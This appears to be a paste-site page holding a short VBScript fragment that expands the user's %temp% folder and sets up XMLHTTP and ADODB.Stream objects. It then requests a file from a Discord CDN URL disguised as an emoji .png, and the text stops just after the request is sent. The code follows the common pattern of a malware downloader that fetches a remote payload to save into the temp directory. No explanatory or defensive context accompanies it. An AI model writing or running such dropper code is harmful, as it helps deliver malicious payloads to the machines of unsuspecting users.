11 lines
359 B
Plaintext
11 lines
359 B
Plaintext
Set objShell = CreateObject("WScript.Shell")
|
|
Set objEnv = objShell.Environment("User")
|
|
|
|
strDirectory = objShell.ExpandEnvironmentStrings("%temp%")
|
|
|
|
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
|
|
dim bStrm: Set bStrm = createobject("Adodb.Stream")
|
|
xHttp.Open "GET", "https://cdn.discordapp.com/emojis/681577625394872370.png?v=1", False
|
|
xHttp.Send
|
|
|